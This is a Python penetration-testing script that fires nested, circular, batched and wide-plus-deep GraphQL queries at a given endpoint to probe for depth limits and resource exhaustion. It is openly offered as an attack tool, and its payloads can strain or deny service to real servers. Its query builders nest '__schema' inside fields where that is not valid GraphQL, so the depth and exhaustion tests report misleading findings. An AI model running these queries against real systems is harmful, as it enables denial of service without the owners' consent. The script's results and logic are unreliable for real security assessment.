#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing GraphQL depth limit attack testing."""

import json
import argparse
import time
from datetime import datetime

try:
    import requests
except ImportError:
    requests = None


def build_nested_query(field_name, depth, leaf="__typename"):
    """Build a deeply nested GraphQL query string."""
    query = leaf
    for _ in range(depth):
        query = f"{field_name} {{ {query} }}"
    return "query { " + query + " }"


def test_depth_limit(url, max_depth=20, headers=None):
    """Probe GraphQL endpoint for query depth enforcement."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    results = []
    last_success = 0
    for depth in range(1, max_depth + 1):
        query = build_nested_query("__schema", depth, "__typename")
        try:
            resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=15)
            data = resp.json()
            has_errors = "errors" in data
            has_data = bool(data.get("data"))
            blocked = has_errors and not has_data
            results.append({"depth": depth, "status": resp.status_code, "blocked": blocked, "response_time_ms": resp.elapsed.total_seconds() * 1000})
            if not blocked:
                last_success = depth
            if blocked:
                break
        except Exception as e:
            results.append({"depth": depth, "error": str(e)})
            break
    finding = "NO_DEPTH_LIMIT" if last_success >= max_depth else f"DEPTH_LIMIT_AT_{last_success + 1}"
    severity = "HIGH" if last_success >= 15 else "MEDIUM" if last_success >= 8 else "LOW"
    return {
        "url": url, "max_depth_tested": max_depth, "max_allowed_depth": last_success,
        "finding": finding, "severity": severity, "details": results,
        "timestamp": datetime.utcnow().isoformat(),
    }


def test_circular_query(url, type_a, field_a, type_b, field_b, depth=10, headers=None):
    """Test circular reference queries (e.g., user.posts.author.posts...)."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    fragment = ""
    for i in range(depth):
        if i % 2 == 0:
            fragment = f"{field_a} {{ {fragment} }}" if fragment else f"{field_a} {{ __typename }}"
        else:
            fragment = f"{field_b} {{ {fragment} }}"
    query = f"query {{ {fragment} }}"
    try:
        resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30)
        data = resp.json()
        return {
            "url": url, "circular_depth": depth,
            "type_pair": f"{type_a}.{field_a} <-> {type_b}.{field_b}",
            "status": resp.status_code,
            "blocked": "errors" in data and not data.get("data"),
            "response_time_ms": resp.elapsed.total_seconds() * 1000,
        }
    except Exception as e:
        return {"error": str(e)}


def test_batch_query(url, count=50, headers=None):
    """Test if batched queries bypass depth limits."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    queries = [{"query": "{ __typename }"} for _ in range(count)]
    try:
        resp = requests.post(url, json=queries, headers=hdrs, timeout=30)
        data = resp.json()
        accepted = isinstance(data, list)
        return {
            "url": url, "batch_size": count, "batch_accepted": accepted,
            "responses": len(data) if accepted else 0,
            "finding": f"BATCH_ALLOWED_{count}" if accepted else "BATCH_REJECTED",
            "severity": "HIGH" if accepted and count >= 20 else "MEDIUM" if accepted else "INFO",
        }
    except Exception as e:
        return {"error": str(e)}


def test_resource_exhaustion(url, width=50, depth=5, headers=None):
    """Test wide + deep queries for resource exhaustion potential."""
    hdrs = {"Content-Type": "application/json"}
    if headers:
        hdrs.update(headers)
    fields = " ".join([f"f{i}: __typename" for i in range(width)])
    nested = fields
    for _ in range(depth):
        nested = f"__schema {{ types {{ {nested} }} }}"
    query = f"query {{ {nested} }}"
    try:
        start = time.time()
        resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=30)
        elapsed = (time.time() - start) * 1000
        return {
            "url": url, "width": width, "depth": depth,
            "total_fields": width * depth, "status": resp.status_code,
            "response_time_ms": round(elapsed, 1),
            "finding": "SLOW_RESPONSE" if elapsed > 5000 else "NORMAL",
        }
    except Exception as e:
        return {"error": str(e)}


def main():
    if not requests:
        print(json.dumps({"error": "requests not installed — pip install requests"}))
        return
    parser = argparse.ArgumentParser(description="GraphQL Depth Limit Attack Agent")
    sub = parser.add_subparsers(dest="command")
    d = sub.add_parser("depth", help="Test query depth limits")
    d.add_argument("--url", required=True)
    d.add_argument("--max-depth", type=int, default=20)
    d.add_argument("--auth-header", help="Authorization header value")
    c = sub.add_parser("circular", help="Test circular reference queries")
    c.add_argument("--url", required=True)
    c.add_argument("--type-a", required=True)
    c.add_argument("--field-a", required=True)
    c.add_argument("--type-b", required=True)
    c.add_argument("--field-b", required=True)
    c.add_argument("--depth", type=int, default=10)
    b = sub.add_parser("batch", help="Test batch query acceptance")
    b.add_argument("--url", required=True)
    b.add_argument("--count", type=int, default=50)
    w = sub.add_parser("width", help="Test wide+deep resource exhaustion")
    w.add_argument("--url", required=True)
    w.add_argument("--width", type=int, default=50)
    w.add_argument("--depth", type=int, default=5)
    args = parser.parse_args()
    headers = {}
    if hasattr(args, "auth_header") and args.auth_header:
        headers["Authorization"] = args.auth_header
    if args.command == "depth":
        result = test_depth_limit(args.url, args.max_depth, headers or None)
    elif args.command == "circular":
        result = test_circular_query(args.url, args.type_a, args.field_a, args.type_b, args.field_b, args.depth, headers or None)
    elif args.command == "batch":
        result = test_batch_query(args.url, args.count, headers or None)
    elif args.command == "width":
        result = test_resource_exhaustion(args.url, args.width, args.depth, headers or None)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
